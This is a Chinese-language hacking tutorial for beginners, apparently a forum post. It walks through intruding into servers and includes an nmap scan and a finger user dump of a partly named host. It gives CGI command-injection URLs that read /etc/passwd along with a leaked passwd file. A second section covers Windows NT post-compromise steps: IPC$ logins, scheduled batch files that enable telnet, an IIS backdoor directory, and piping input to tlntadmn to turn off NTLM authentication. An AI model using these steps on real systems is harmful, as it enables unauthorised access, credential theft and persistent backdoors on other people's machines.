黑客永远是走在技术尖端的人,永远追求最高和最尖端的技术并达到狂热的程度,才能被人称为黑客,黑客是别人给的评价,而不是自封的(援引NetDemon的话,我非常赞同)。我们大部分人都不能称之为黑客,所以文中我用入侵者这个词语。。看着linux里面的源代码,再看看他们的作者,很少能看到中国人的身影,中国的黑客们还有很长的路要走。
此文针对新手,“真正”黑客级别的就不用看了,这篇文章对于你们来说是太菜了。我想上网多年的朋友们一定记得coolfire的入侵教程,那是一篇揭开入侵者神秘面纱的初级文章。无数刚学会拨号上网的少年,看着coolfirede文章,依然热血沸腾。我也不例外,它让我从此迷恋上了网络。可是许多新手和当年的我一样,看完网络上入侵的教学篇后依然不知所措。为了让大家节省时间,少走弯路,我就结合我的经验来谈谈普通的入侵方式。网友们看过此文后,千万不要做违法的事,因为法律是无情的。
首先,我们要确立目标。要尽量收集目标的信息,如目标上运行的是什么操作系统,它开了哪些服务等。我们最好用nmap扫描器对目标进行扫描,顺便提一句,nmap扫描器是unix平台下扫描器,新手们最好能熟练的使用它(见Nmap扫描说明)。以下是对某目标扫描的结果。我们分析一下。
Interesting ports on nms.gs.cninfo.net (xxx.xxx.xxx.xxx):
(The 1515 ports scanned but not shown below are in state: closed)
Port State Service (RPC)
7/tcp open echo
9/tcp open discard
13/tcp open daytime
19/tcp open chargen
21/tcp open ftp
23/tcp open telnet
37/tcp open time
79/tcp open finger <-------收集用户信息
111/tcp open sunrpc (rpcbind V2-4)
515/tcp open printer
540/tcp open uucp
1103/tcp open xaudio
4045/tcp open lockd (nlockmgr V1-4)
6000/tcp open X11
6112/tcp open dtspc
7100/tcp open font-service
8080/tcp open http-proxy
32774/tcp open sometimes-rpc11 (status V1)
32775/tcp open sometimes-rpc13 (ttdbserverd V1)<----可能有溢出漏洞
32776/tcp open sometimes-rpc15 (dmispd V1)
32779/tcp open sometimes-rpc21 (ttsession V1-4)
TCP Sequence Prediction: Class=random positive increments
Difficulty=33704 (Worthy challenge)
Sequence numbers: 48234DC2 4825A532 4826EE37 4827D6EB 48291220 482AF5C1
Remote operating system guess: Solaris 2.6 - 2.7<-------所用的操作系统
OS Fingerprint:
TSeq(Class=RI%gcd=1%SI=83A8)
T1(Resp=Y%DF=Y%W=2297%ACK=S++%Flags=AS%Ops=NNTNWME)
T2(Resp=N)
T3(Resp=N)
T4(Resp=Y%DF=Y%W=0%ACK=O%Flags=R%Ops=)
T5(Resp=Y%DF=Y%W=0%ACK=S++%Flags=AR%Ops=)
T6(Resp=Y%DF=Y%W=0%ACK=O%Flags=R%Ops=)
T7(Resp=Y%DF=Y%W=0%ACK=S%Flags=AR%Ops=)
PU(Resp=Y%DF=Y%TOS=0%IPLEN=70%RIPTL=148%RID=E%RIPCK=E%UCK=E%ULEN=134%DAT=E)
通过扫描,我们可以看到这是一台solaris 2.6-2.7(sun microsystem公司的服务器),服务比较多,其实对于这个公司来说,根本没有必要开这么多服务,我敢这么说,有些服务他们可能都不知道是什么,可是这么多服务对我们的入侵就比较有好处。有些服务当然对我们也没有什么用,如daytime,xiaudio等服务。有finger服务,我们可以得到用户信息,输入命令如finger -l @xxx.xxx.xxx.xxx,如果没有人登陆到这台服务器的话,你finger不到有用的信息,别灰心,sun服务器的finger服务有个bug,那就是你输入finger 12@xxx.xxx.xxx.xxx(只要@前面是数字的就可以了),你就可以得到所有登陆过这台服务器的用户信息。以下是finger的结果:
Login Name TTY Idle When Where
daemon ??? < . . . . >
bin ??? < . . . . >
sys ??? < . . . . >
www ??? pts/1 xxx.xxx.xxx.xxx
richard ??? < . . . . >
fashion ??? < . . . . >
liu1971 ??? < . . . . >
root ??? < . . . . >
wangjin ??? < . . . . >
zhanghj ??? pts/2
国内服务器上的用户比较少,不象一些老外的服务器,用户多的不得了。有了用户名,你就可以telnet试试了,看能不能碰到几个傻瓜用户。如果碰巧进入了,你就happy了,即使是普通用户,可离root已不是很遥远了。这台服务器就是这种情况,我用liu1971这个用户进入了,因为他的密码和用户名一样,然后我通过本地漏洞提升为root,就是sun的mailx程序,这是个邮件服务程序,它就相当于linux的mail程序,2001年它被发现有溢出漏洞,网管们要小心了。如果这招失败,就看看它的rpc服务了,因为sun的rpc远程溢出太可怕了,这几年层出不穷。这也是对付sun服务器的最有效的方法。拿此服务器为例,它的ttdbserverd守护进程就很有可能有溢出漏洞,如果这台服务器没有patch的话。在www.securityfocus.com上我们就可以找到它的溢出程序。哎,我们利用的漏洞和程序基本上是老外们写的。就这样,运气好的话,几分钟就搞定了一台服务器,再不行,你就用暴力法了,前提是你很有钱,搞个程序自动测试用户的密码了。这次中美网络大战,老美的那个专门黑中国sun服务器的人,就是利用了sun的sadmind远程溢出漏洞,这是一个1999发现的漏洞,可是他在国内的服务器上屡屡得手,我真不知道国内的这些部门的网络管理人员是干什么的。能用的起sun服务器的都是些重要部门或大公司,他们的硬件这么好,可人员素质却跟不上,用人制度真是差劲。对于新手们来说关键的一点是收集到足够的信息,然后利用一些已知的漏洞利用程序。
怎么得到一个用户名和密码呢?方法一:使用小榕的流光软件。该软件界面友好,操作简单,极易上手。流光的ftp探测对win系列的ftp,sun的proftp都比较好,你可以用流光测试,看能不能得到一个普通用户。然后用该用户登陆,一般情况该用户在系统中都有一个shell,如果能进入系统,哈,你就准备夺取root权限吧。从我以往的经验看,许多系统的本地漏洞根本从没修补过,很轻松的就成为root了。方法二:试试一些cgi漏洞。例如http://www.victim.com/cgi-bin/whois_raw.cgi?fqdn=%0acat%20/etc/passwd http://www.victim.com/cgi-bin/faxsurvey?/bin/cat%20/etc/passwdhttp://www.victim.com/opendir.php?requesturl=/etc/passwd ,等等。这都是已知的一些cgi漏洞。当然,前提是这些傻瓜网站有这些cgi脚本,且没有修补。我们可以用x-scan扫描器,用它的cgi选项。如果大家实在想试试身手的话,我推荐一傻瓜法。因为我想对于新手而言,能成功的进入他入侵生涯的第一台服务器是对他极大的鼓舞。http://www.google.com这个网站去,这是一个搜索引擎。例如你输入/opendir.php进行搜索,就会找到一大堆用这个cgi的网站,你就慢慢实验了,很多网站没打补丁了。例如http://developer.html.com等一些站点,不过很多都是老外的。呵呵,中国的网络不发达也有好处。以下是该网站的passwd。
root::0:0:root:/root:/bin/bash bin:*:1:1:bin:/bin: daemon:*:2:2:daemon:/sbin: adm:*:3:4:adm:/var/adm: lp:*:4:7:lp:/var/spool/lpd: sync:*:5:0:sync:/sbin:/bin/sync shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown halt:*:7:0:halt:/sbin:/sbin/halt mail:*:8:12:mail:/var/spool/mail: news:*:9:13:news:/var/spool/news: uucp:*:10:14:uucp:/var/spool/uucp: operator:*:11:0:operator:/root: games:*:12:100:games:/usr/games: gopher:*:13:30:gopher:/usr/lib/gopher-data: ftp:*:14:50:FTP User:/home/ftp: nobody:*:99:99:Nobody:/: httpd:x:50000:50000:httpd:/web:/bin/bash
在telnet服务中如何最快速关闭Ntlm验证
如果你得到了一个主机的Admin权限(如何得到admin权限不在本文的讨论范围),下一步你应该做的大概就是以下几点:
①.打开telnet 服务。
②.上传常用工具。比如:查杀线程工具、端口侦察工具、Sniffer工具,漏洞扫描工具…(反对上传木马,目标太大)。
③.设置一个系统后门。推荐:在iis中设置一个虚拟目录Msado,目录:X:winntsystem32;权限:目录浏览、执行、写、读。
④.用Sql或nt的AT命令增加一个计划任务,在一个月后重复第③项操作。
我下面要说的就是在打开telnet 服务中会出现的问题。
1. 在服务器端打开telnet 服务
D:> net use \203.56.XX.XXipc$ "onenight" /user:"onenight"
命令成功完成。
D:>net use z: \202.56.XX.XXc$
命令成功完成。
D:>copy con z:a.bat
net start telnet
^Z
已复制 1 个文件。
D:>at \203..56.XX.XX 01:05 "c:a.bat"
命令成功完成。
2.01:05后在客户端用telnet 连接上去,你十有八九得到的如下的提示:
Server allows Ntlm Authentication only
Server has closed connection
原来Nt默认的telnet 服务的身份验证是基于Ntlm的,可否关闭这种验证机制,当然可以:小榕在他的流光软件中附带了一个关闭Ntlm身份验证的软件Ntlm.exe ,只要在服务器的运行Ntlm.exe,就可以完成这个操作。这个方法好虽好可也有缺点:一是上传一个文件有点麻烦;二来如果服务器端有病毒防火墙等东东可能会删除Ntlm.exe 。其实有一个更简单的方法:
①. 在服务器端建立一个文本文件:
D:>copy con z:1.txt
3
7
y
0
y
0
0
^Z
已复制 1 个文件。
②.D:>copy con z:b.bat
type c:1.txt |tlntadmn.exe
^Z
已复制 1 个文件。
D:>at \203..56.XX.XX 01:15 "c:b.bat"
命令成功完成。
为使修改生效要停止Telnet服务,在重新启动Telnet 服务一次。
01:15后就可以用telnet顺利连接上去。
这个方法的原理是利用NT本身自带的telnet 服务管理工具:tlntadmn.exe,用管道符|将ntlm身份验证关闭。有兴趣的朋友可以在本机运行tlntadmn,看看他到底提供了哪些功能。 |